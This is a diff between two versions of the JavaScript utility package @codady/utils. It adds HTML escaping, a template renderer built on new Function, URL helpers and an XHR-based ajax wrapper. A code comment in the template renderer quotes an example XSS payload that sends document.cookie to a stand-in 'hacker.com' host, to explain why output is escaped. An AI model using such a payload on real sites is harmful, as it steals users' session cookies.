@codady/utils 0.0.37 → 0.0.39

package/dist/utils.umd.js

@@ -1,8 +1,8 @@
 
 /*!
- * @since Last modified: 2026-1-15 18:58:28
+ * @since Last modified: 2026-1-20 16:40:28
  * @name Utils for web front-end.
- * @version 0.0.36
+ * @version 0.0.38
  * @author AXUI development team <3217728223@qq.com>
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
  * @see {@link https://www.axui.cn|Official website}
@@ -244,6 +244,102 @@
         return methods;
     };
 
+    const escapeCharsMaps = {
+        //code或pre标签中代码高亮是使用basic
+        basic: {
+            '&': '&amp;',
+            '<': '&lt;',
+            '>': '&gt;',
+        },
+        //需要用在标签属性上attribute
+        attribute: {
+            '&': '&amp;',
+            '<': '&lt;',
+            '>': '&gt;',
+            '"': '&quot;',
+            "'": '&apos;',
+            '`': '&#x60;',
+        },
+        //html中的正文内容使用content
+        content: {
+            '&': '&amp;',
+            '<': '&lt;',
+            '>': '&gt;',
+            '"': '&quot;',
+            "'": '&apos;',
+            '/': '&#x2F;',
+        },
+        //用于url链接则使用uri
+        uri: {
+            '&': '&amp;',
+            '<': '&lt;',
+            '>': '&gt;',
+            '"': '&quot;',
+            "'": '&apos;',
+            '(': '&#40;',
+            ')': '&#41;',
+            '[': '&#91;',
+            ']': '&#93;',
+        },
+        //极致转意，避免任何注入或非法代码
+        paranoid: {
+            '&': '&amp;',
+            '<': '&lt;',
+            '>': '&gt;',
+            '"': '&quot;',
+            "'": '&apos;',
+            '`': '&#x60;',
+            '/': '&#x2F;',
+            '=': '&#x3D;',
+            '!': '&#x21;',
+            '#': '&#x23;',
+            '(': '&#40;',
+            ')': '&#41;',
+            '[': '&#91;',
+            ']': '&#93;',
+            '{': '&#x7B;',
+            '}': '&#x7D;',
+            ':': '&#x3A;',
+            ';': '&#x3B;',
+        },
+    };
+
+    const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
+        const chars = Object.keys(escapeCharsMaps[key]);
+        // Escape special regex characters to avoid issues in the regex. [ => \[
+        const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
+        acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
+        return acc;
+    }, {});
+
+    const escapeHTML = (str, strength = 'attribute') => {
+        // Return empty string if input is null, undefined, or not a string
+        if (typeof str !== 'string')
+            return '';
+        const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
+        // Use String.prototype.replace with a global regex.
+        // The callback function retrieves the replacement from the map using the matched character as key.
+        return str.replace(regex, (match) => map[match]);
+    };
+
+    const getUniqueId = (options = {}) => {
+        const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
+        // Current timestamp in milliseconds (since Unix epoch)
+        // This provides the primary uniqueness guarantee
+        const timestamp = Date.now(), 
+        // Generate a base-36 random string (0-9, a-z)
+        // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
+        // substring(2, 11) extracts 9 characters starting from index 2
+        //0.259854635->0.9crs03e8v2
+        base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '', 
+        // Additional 4-digit random number for extra randomness
+        // This helps avoid collisions in high-frequency generation scenarios
+        base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
+        // Construct the final ID string
+        // Format: [prefix_]timestamp_randomBase36_extraRandom
+        return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
+    };
+
     const requireTypes = (data, require, cb) => {
         // Normalize the input types (convert to array if it's a single type)
         let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(), 
@@ -271,22 +367,83 @@
         return dataType;
     };
 
-    const getUniqueId = (options = {}) => {
-        const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
-        // Current timestamp in milliseconds (since Unix epoch)
-        // This provides the primary uniqueness guarantee
-        const timestamp = Date.now(), 
-        // Generate a base-36 random string (0-9, a-z)
-        // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
-        // substring(2, 11) extracts 9 characters starting from index 2
-        //0.259854635->0.9crs03e8v2
-        base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '', 
-        // Additional 4-digit random number for extra randomness
-        // This helps avoid collisions in high-frequency generation scenarios
-        base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
-        // Construct the final ID string
-        // Format: [prefix_]timestamp_randomBase36_extraRandom
-        return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
+    const toSingleLine = (str, collapseSpaces = false) => {
+        const result = str.replace(/[\r\t\n]/g, '');
+        return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
+    };
+
+    const renderTpl = (html, data, options = {}) => {
+        requireTypes(html, 'string', (error) => {
+            //不符合要求的类型
+            console.error(error);
+            return '';
+        });
+        if (!html.trim())
+            return '';
+        let dataType = requireTypes(data, ['array', 'object'], (error) => {
+            //不符合要求的类型
+            console.error(error);
+            return html;
+        });
+        //data={}/[]
+        if (Object.keys(data).length === 0) {
+            console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
+            return html;
+        }
+        let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), 
+        //regStart='\\{\\{'
+        regStart = opts.start.split('').map(k => '\\' + k).join(''), 
+        //regEnd='\\}\\}'
+        regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', 
+        //代替escapeHTML的方法，在字符串内部的映射，确保不会重名
+        escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
+            if (isScript) {
+                //处理语句类（如 {{ if(x) /}} ）
+                if (fragment.endsWith(opts.suffix)) {
+                    code += (fragment.slice(0, -opts.suffix.length) + '\n');
+                }
+                else {
+                    //处理表达式类（如 {{ name }} ）
+                    //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
+                    //虽然new Function不会执行，但是也需要将其当做纯文本输出，避免renderTpl输出的文本自带风险，此时则需要转意，确保renderTpl的返回值是安全的纯文本
+                    code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
+                }
+            }
+            else {
+                //fragment可能自带单引号或双引号，需要转意，避免与push("xxx")语句冲突
+                //js语句不能直接文本换行，所以也需要转意换行符
+                //换行转意的另外一个意义是，保持原文本的换行，因为在toSingleLine中会删除所有物理换行以确保代码可被执行
+                code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
+            }
+            return add;
+        };
+        while (match = tplReg.exec(html)) {
+            add(html.slice(cursor, match.index))(match[1], true);
+            cursor = match.index + match[0].length;
+        }
+        add(html.slice(cursor));
+        code += `return str.join('');`;
+        //一行行化代码
+        //如果文本"XXX (换行)"，js执行会报错，所以需要清理换行
+        code = toSingleLine(code);
+        try {
+            if (opts.strict || dataType === 'Array') {
+                //严格模式，或者是数组数据，则必须使用this
+                result = new Function(escapeName, code).apply(data, [escapeHTML]);
+            }
+            else {
+                ////非严格模式，且是对象，则可省略this
+                let keys = Object.keys(data), values = Object.values(data), 
+                //keys传参，可直接以key为值,this依然可指向data
+                tmp = new Function(...keys, escapeName, code).bind(data);
+                //执行时以value赋值
+                result = tmp(...values, escapeHTML);
+            }
+        }
+        catch (err) {
+            console.error(`'${err.message}'`, ' in \n', code, '\n');
+        }
+        return result;
     };
 
     const setMutableMethods = ['add', 'delete', 'clear'];
@@ -790,30 +947,31 @@
         let type = getDataType(data), flag;
         if (!data) {
             //0,'',false,undefined,null
-            flag = true;
+            return true;
         }
-        else {
-            //function(){}|()=>{}
-            //[null]|[undefined]|['']|[""]
-            //[]|{}
-            //Symbol()|Symbol.for()
-            //Set,Map
-            //Date/Regex
-            flag = (type === 'Object') ? (Object.keys(data).length === 0) :
-                (type === 'Array') ? data.join('') === '' :
-                    (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
-                        (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
-                            (type === 'Set' || type === 'Map') ? data.size === 0 :
-                                type === 'Date' ? isNaN(data.getTime()) :
-                                    type === 'RegExp' ? data.source === '' :
-                                        type === 'ArrayBuffer' ? data.byteLength === 0 :
-                                            (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
-                                                ('length' in data && typeof data.length === 'number') ? data.length === 0 :
-                                                    ('size' in data && typeof data.size === 'number') ? data.size === 0 :
-                                                        (type === 'Error' || data instanceof Error) ? data.message === '' :
-                                                            (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
-                                                                false;
+        if (['String', 'Number', 'Boolean'].includes(type)) {
+            return false;
         }
+        //function(){}|()=>{}
+        //[null]|[undefined]|['']|[""]
+        //[]|{}
+        //Symbol()|Symbol.for()
+        //Set,Map
+        //Date/Regex
+        flag = (type === 'Object') ? (Object.keys(data).length === 0) :
+            (type === 'Array') ? data.join('') === '' :
+                (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
+                    (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
+                        (type === 'Set' || type === 'Map') ? data.size === 0 :
+                            type === 'Date' ? isNaN(data.getTime()) :
+                                type === 'RegExp' ? data.source === '' :
+                                    type === 'ArrayBuffer' ? data.byteLength === 0 :
+                                        (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
+                                            ('length' in data && typeof data.length === 'number') ? data.length === 0 :
+                                                ('size' in data && typeof data.size === 'number') ? data.size === 0 :
+                                                    (type === 'Error' || data instanceof Error) ? data.message === '' :
+                                                        (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
+                                                            false;
         return flag;
     };
 
@@ -1177,19 +1335,6 @@
         return str.replace(/^\s*\n|\n\s*$/g, '') || '';
     };
 
-    const escapeHtmlChars = (text) => {
-        // Check if the input text is empty or undefined
-        if (!text)
-            return '';
-        // Replace the special characters with their corresponding HTML entities
-        return text
-            .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
-            .replace(/</g, '&lt;') // Replace '<' with '&lt;'
-            .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
-            .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
-            .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
-    };
-
     const decodeHtmlEntities = (text) => {
         // Check if the input text is empty or undefined
         if (!text)
@@ -1200,6 +1345,448 @@
         return textArea.value; // Get the decoded string from the text area
     };
 
+    const getBodyHTML = (htmlText, selector) => {
+        // Return early if the input is not a valid string or doesn't look like HTML
+        if (!htmlText || typeof htmlText !== 'string') {
+            return '';
+        }
+        try {
+            
+            const parser = new DOMParser(), 
+            
+            doc = parser.parseFromString(htmlText, 'text/html'), 
+            
+            bodyContent = doc.body.innerHTML;
+            if (selector) {
+                // Normalize hash: ensure it's a valid ID selector
+                const targetEl = doc.querySelector(selector);
+                if (targetEl) {
+                    return targetEl.innerHTML;
+                }
+                // If hash is provided but element not found, we fallback to body or warn
+                console.warn(`Element with selector "${selector}" not found in the HTML.`);
+            }
+            return bodyContent ? bodyContent.trim() : htmlText;
+        }
+        catch (error) {
+            
+            console.error("Failed to parse HTML content using DOMParser:", error);
+            return htmlText;
+        }
+    };
+
+    const getUrlHash = (url) => {
+        // Return empty if input is null, undefined, or not a string
+        if (!url || typeof url !== 'string') {
+            return '';
+        }
+        try {
+            
+            const baseUrl = window?.location?.origin || 'https://www.axui.cn', urlObj = new URL(url, baseUrl);
+            return urlObj.hash;
+        }
+        catch (error) {
+            
+            return '';
+        }
+    };
+
+    const cleanQueryString = (data) => {
+        return typeof data === 'string' && (data.startsWith('?') || data.startsWith('&'))
+            ? data.slice(1) // Remove the leading '?' or '&'
+            : data; // Return the string as-is if no leading character is present
+    };
+
+    const buildUrl = ({ url, data, cacheBustKey = '_t', appendCacheBust = true }) => {
+        // 1. Extract and remove the hash (e.g., /page#section -> hash="#section")
+        const hashIndex = url.indexOf('#');
+        let hash = '', pureUrl = url;
+        // If a hash exists, separate it from the base URL
+        if (hashIndex !== -1) {
+            hash = url.slice(hashIndex);
+            pureUrl = url.slice(0, hashIndex);
+        }
+        // 2. Use the URL object to handle the base URL and existing query parameters.
+        // `window.location.origin` ensures the support for relative paths (e.g., '/api/list').
+        const urlObj = new URL(pureUrl, window.location.origin);
+        // 3. Append business data (query parameters) to the URL if data is not empty
+        if (!isEmpty(data)) {
+            let params, dataType = getDataType(data);
+            // If the data is a URLSearchParams object, directly use it
+            if (dataType === 'URLSearchParams') {
+                params = data;
+            }
+            else if (dataType === 'object') {
+                // If the data is an object, convert it to URLSearchParams
+                params = new URLSearchParams(data);
+            }
+            else {
+                // If the data is a string, clean it up (remove leading '?' or '&')
+                params = new URLSearchParams(cleanQueryString(data));
+            }
+            // Append new parameters to the existing URL search parameters
+            params.forEach((value, key) => {
+                urlObj.searchParams.append(key, value);
+            });
+        }
+        // 4. Optionally add the cache-busting parameter if the flag is set
+        appendCacheBust && cacheBustKey && urlObj.searchParams.set(cacheBustKey, Date.now().toString());
+        // 5. Return the final URL: base URL + query parameters + original hash (if any)
+        return urlObj.toString() + hash;
+    };
+
+    const capitalize = (str) => {
+        // Check if the input string is empty or undefined
+        if (!str)
+            return str;
+        // Capitalize the first letter and return the new string
+        return str.charAt(0).toUpperCase() + str.slice(1);
+    };
+
+    const ajax = (options) => {
+        // Validation
+        if (isEmpty(options)) {
+            return Promise.reject(new Error('Options are required'));
+        }
+        if (!options.url || typeof options.url !== 'string') {
+            return Promise.reject(new Error('URL is required and must be a string'));
+        }
+        // Default configuration
+        const config = {
+            url: '',
+            method: 'POST',
+            async: true,
+            selector: '',
+            data: null,
+            timeout: 3600000,
+            headers: {},
+            responseType: '',
+            catchError: false,
+            signal: null,
+            xhrFields: {},
+            cacheBustKey: '_t',
+            //
+            onAbort: null,
+            onTimeout: null,
+            //
+            onBeforeSend: null,
+            //
+            onCreated: null,
+            onOpened: null,
+            onHeadersReceived: null,
+            onLoading: null,
+            //
+            onSuccess: null,
+            onFailure: null,
+            onInformation: null,
+            onRedirection: null,
+            onClientError: null,
+            onServerError: null,
+            onUnknownError: null,
+            onError: null,
+            onFinish: null,
+            //
+            onDownload: null,
+            onUpload: null,
+            onComplete: null,
+        };
+        //合并参数
+        Object.assign(config, options);
+        //
+        const method = config.method.toUpperCase() || 'POST', methodsWithoutBody = ['GET', 'HEAD', 'TRACE'];
+        //创建XMLHttpRequest
+        let xhr = new XMLHttpRequest(), 
+        //设置发送数据和预设请求头
+        requestData = null, headerContentType = config?.headers?.['Content-Type'] || config?.headers?.['content-type'], removeHeader = () => {
+            if (headerContentType) {
+                delete config.headers['Content-Type'];
+                delete config.headers['content-type'];
+            }
+        };
+        if (!isEmpty(config.data)) {
+            let dataType = getDataType(config.data);
+            if (dataType === 'FormData') {
+                //如果是new FormData格式，直接相等
+                requestData = config.data;
+                // 不需要手动设置Content-Type，浏览器会自动设置
+                //config.contType = 'multipart/form-data';
+                removeHeader();
+            }
+            else if (dataType === 'Object') {
+                //如果是对象格式{name:'',age:''}
+                //并且此时已经设置了contType
+                if (!headerContentType) {
+                    //如果未设置则默认设为如下contType
+                    //Content-Type=application/x-www-form-urlencoded
+                    
+                    requestData = new URLSearchParams(config.data).toString();
+                    //URLSearchParams.toString => `a=1&b=3`
+                    //非get、head方法修正content-type
+                    if (!methodsWithoutBody.includes(method)) {
+                        config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
+                    }
+                }
+                else if (headerContentType?.includes('application/json')) {
+                    //Content-Type=application/json或contentType=application/json
+                    requestData = JSON.stringify(config.data);
+                }
+                else {
+                    requestData = config.data;
+                }
+            }
+            else if (dataType === 'String') {
+                //未设置或，已经设置了Content-Type=application/x-www-form-urlencoded
+                if (!headerContentType || headerContentType.includes('urlencoded')) {
+                    //如果是name=''&age=''字符串
+                    //?name=''&age=''或&name=''&age=''统一去掉第一个&/?
+                    requestData = cleanQueryString(config.data.trim());
+                    //非get、head方法修正content-type
+                    if (!methodsWithoutBody.includes(method) && !headerContentType) {
+                        config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
+                    }
+                }
+                else {
+                    requestData = config.data;
+                }
+            }
+            else {
+                requestData = config.data;
+            }
+        }
+        //设置超时时间
+        xhr.timeout = config.timeout;
+        // 响应类型
+        if (config.responseType) {
+            xhr.responseType = config.responseType;
+        }
+        //返回promise
+        const result = new Promise((resolve, reject) => {
+            //超时监听
+            const timeoutHandler = () => {
+                cleanup();
+                let resp = { ...context, status: xhr.status, content: xhr.response, type: 'timeout' };
+                //回调，status和content在此确认
+                config?.onTimeout?.(resp);
+                //reject只能接受一个参数
+                config.catchError ? reject(resp) : resolve(resp);
+            }, 
+            //报错监听
+            errorHandler = (resp) => {
+                //这几个错误来自xhr.onreadystatechange
+                if (resp.type === 'client-error') {
+                    config?.onClientError?.({ ...context });
+                }
+                else if (resp.type === 'server-error') {
+                    config?.onServerError?.({ ...context });
+                }
+                else if (resp.type === 'unknown-error') {
+                    config?.onUnknownError?.({ ...context });
+                }
+                //此外还会有xhr.onerror的错误，所以需要统一使用onError监听
+                config?.onError?.(resp);
+                //reject只能接受一个参数
+                config.catchError ? reject(resp) : resolve(resp);
+            }, 
+            //取消监听
+            abortHandler = () => {
+                cleanup();
+                const resp = { ...context, status: xhr.status, type: 'abort' };
+                config.catchError ? reject(resp) : resolve(resp);
+                //回调，status和content在此确认
+                config?.onAbort?.(resp);
+            }, abortHandlerWithSignal = () => {
+                //先中止请求，防止触发其他 readystate 事件
+                xhr.abort();
+                abortHandler();
+            }, 
+            //成功监听
+            successHandler = (resp) => {
+                //成功回调
+                config?.onSuccess?.(resp);
+                //resolve只能接受一个参数
+                resolve(resp);
+            }, 
+            //统一处理abort
+            cleanup = () => {
+                // 如果使用了AbortSignal，则移除它的事件监听器
+                config.signal && config.signal.removeEventListener('abort', abortHandlerWithSignal);
+                // 移除各类事件监听器
+                config.onError && xhr.removeEventListener('error', errorHandler);
+                config.onTimeout && xhr.removeEventListener('timeout', timeoutHandler);
+                // 解绑上传/下载进度事件
+                config.onUpload && xhr.upload.removeEventListener('progress', uploadProgressHandler);
+                config.onDownload && xhr.removeEventListener('progress', downloadProgressHandler);
+                //销毁
+                xhr.onreadystatechange = null;
+            }, 
+            // Context object to track state
+            context = {
+                //原始xhr
+                xhr,
+                //发送的数据
+                data: requestData,
+                //可取消的函数
+                abort: abortHandler,
+                //xhr.status
+                status: '',
+                //响应的内容
+                content: null,
+                //0~4阶段编号
+                stage: 0,
+                //阶段名称
+                type: 'unset',
+                //上传和下载进度
+                progress: {}
+            }, 
+            //定义进度函数
+            progressHandler = (name, data, callback) => {
+                if (data.lengthComputable) {
+                    const resp = { ...context, status: xhr.status }, ratio = data.loaded / data.total;
+                    resp.progress = {
+                        name,
+                        loaded: data.loaded,
+                        total: data.total,
+                        timestamp: (new Date(data.timeStamp)).getTime(),
+                        ratio,
+                        percent: Math.round(ratio * 100),
+                    };
+                    callback?.(resp);
+                    //到达100%执行complete
+                    if (resp.progress.percent >= 100) {
+                        resp.progress.percent = 100;
+                        config?.onComplete?.(resp);
+                    }
+                }
+            }, uploadProgressHandler = (data) => {
+                progressHandler('upload', data, (resp) => config.onUpload(resp));
+            }, downloadProgressHandler = (data) => {
+                progressHandler('download', data, (resp) => config.onDownload(resp));
+            };
+            //使用AbortSignal
+            if (config.signal) {
+                if (config.signal.aborted)
+                    return abortHandlerWithSignal();
+                config.signal.addEventListener('abort', abortHandlerWithSignal);
+            }
+            //监听上传进度
+            config.onUpload && xhr.upload.addEventListener('progress', uploadProgressHandler);
+            //监听下载进度
+            config.onDownload && xhr.addEventListener('progress', downloadProgressHandler);
+            // 事件监听器
+            config.onError && xhr.addEventListener('error', errorHandler);
+            config.onTimeout && xhr.addEventListener('timeout', timeoutHandler);
+            config.onAbort && xhr.addEventListener('abort', abortHandler);
+            // 手动触发 Created 状态
+            config.onCreated?.({ ...context, type: 'created' });
+            //状态判断
+            xhr.onreadystatechange = function () {
+                context.stage = xhr.readyState;
+                context.status = xhr.status;
+                const statusMap = { 1: 'opened', 2: 'headersReceived', 3: 'loading' };
+                //0=created放在外侧确保能触发，如果放在.onreadystatechange可能触发不了
+                if (xhr.readyState < 4) {
+                    if (!xhr.readyState)
+                        return;
+                    context.type = statusMap[xhr.readyState];
+                    config[`on${capitalize(context.type)}`]?.({ ...context });
+                    return;
+                }
+                //已经请求成功，不会有timeout事件，也不需要abort了，所以移除abort事件
+                cleanup();
+                const isInformation = xhr.status >= 100 && xhr.status < 200, isSuccess = (xhr.status >= 200 && xhr.status < 300) || xhr.status === 304, isRedirection = xhr.status >= 300 && xhr.status < 400, isClientError = xhr.status >= 400 && xhr.status < 500, isServerError = xhr.status >= 500 && xhr.status < 600;
+                //已经获得返回数据
+                if (isSuccess) {
+                    if (!config.responseType || xhr.responseType === 'text') {
+                        //可能返回字符串类型的对象，wordpress的REST API
+                        let trim = xhr.responseText.trim(), content = '';
+                        if ((trim.startsWith('[') && trim.endsWith(']')) || (trim.startsWith('{') && trim.endsWith('}'))) {
+                            //通过判断开头字符是{或[来确定异步页面是否是JSON内容，如果是则转成JSON对象
+                            try {
+                                content = JSON.parse(trim);
+                            }
+                            catch {
+                                console.warn('Malformed JSON detected, falling back to text.');
+                                content = xhr.responseText;
+                            }
+                        }
+                        else if (/(<\/html>|<\/body>)/i.test(trim)) {
+                            //请求了一个HTML页面
+                            //返回文本类型DOMstring
+                            let urlHash = getUrlHash(config.url);
+                            content = getBodyHTML(trim, config.selector || urlHash);
+                        }
+                        else {
+                            //普通文本，不做任何处理
+                            content = xhr.responseText;
+                        }
+                        //content=文本字符串/json
+                        context.content = content;
+                    }
+                    else {
+                        //content=json、blob、document、arraybuffer等类型，如果知道服务器返回的XML， xhr.responseType应该为document
+                        context.content = xhr.response;
+                    }
+                    context.type = 'success';
+                    successHandler({ ...context });
+                }
+                else {
+                    //失败回调
+                    context.content = xhr.response;
+                    context.type = isInformation ? 'infomation' : isRedirection ? 'redirection' : isClientError ? 'client-error' : isServerError ? 'server-error' : 'unknown-error';
+                    //
+                    if (isInformation) {
+                        config?.onInformation?.({ ...context });
+                    }
+                    else if (isRedirection) {
+                        config?.onRedirection?.({ ...context });
+                    }
+                    else {
+                        errorHandler({ ...context });
+                    }
+                    //
+                    config?.onFailure?.({ ...context });
+                }
+                config?.onFinish?.({ ...context });
+            };
+            //发送异步请求
+            let openParams = [method, config.url, config.async];
+            if (methodsWithoutBody.includes(method)) {
+                // 拼接url => xxx.com?a=0&b=1#hello
+                const url = buildUrl({
+                    url: config.url,
+                    data: requestData,
+                    cacheBustKey: config.cacheBustKey,
+                    appendCacheBust: true,
+                });
+                openParams = [method, url, config.async];
+            }
+            //设置xhr其他字段
+            for (let k in config.xhrFields) {
+                config.xhrFields.hasOwnProperty(k) && (xhr[k] = config.xhrFields[k]);
+            }
+            //与服务器建立连接
+            xhr.open(...openParams);
+            //有则设置，仅跳过空内容
+            for (let k in config.headers) {
+                config.headers.hasOwnProperty(k) && !isEmpty(config.headers[k]) && xhr.setRequestHeader(k, config.headers[k]);
+            }
+            config?.onBeforeSend?.(({ ...context, status: xhr.status, type: 'beforeSend' }));
+            //发送请求，get和head不需要发送数据
+            xhr.send(methodsWithoutBody.includes(method) ? null : (requestData || null));
+            //open和send阶段已经是异步了，无法使用try+catch捕获错误
+        });
+        //绑定xhr和abort
+        result.xhr = xhr;
+        result.abort = () => xhr.abort();
+        return result;
+    };
+    // Static Helper Methods
+    //get、head、trace是不需要发送数据的，data将被转为url参数处理
+    ['post', 'put', 'delete', 'patch', 'options', 'get', 'head', 'trace'].forEach(method => {
+        ajax[method] = (url, data, options = { url: '' }) => ajax({ ...options, method, url, data });
+    });
+    ajax.all = (requests) => Promise.all(requests.map(ajax));
+
     const utils = {
         //executeStr,
         getDataType,
@@ -1237,8 +1824,18 @@
         parseLLMStream,
         toKebabCase,
         trimEmptyLines,
-        escapeHtmlChars,
         decodeHtmlEntities,
+        escapeCharsMaps,
+        escapeRegexMaps,
+        escapeHTML,
+        toSingleLine,
+        renderTpl,
+        getBodyHTML,
+        getUrlHash,
+        buildUrl,
+        ajax,
+        capitalize,
+        cleanQueryString,
     };
 
     return utils;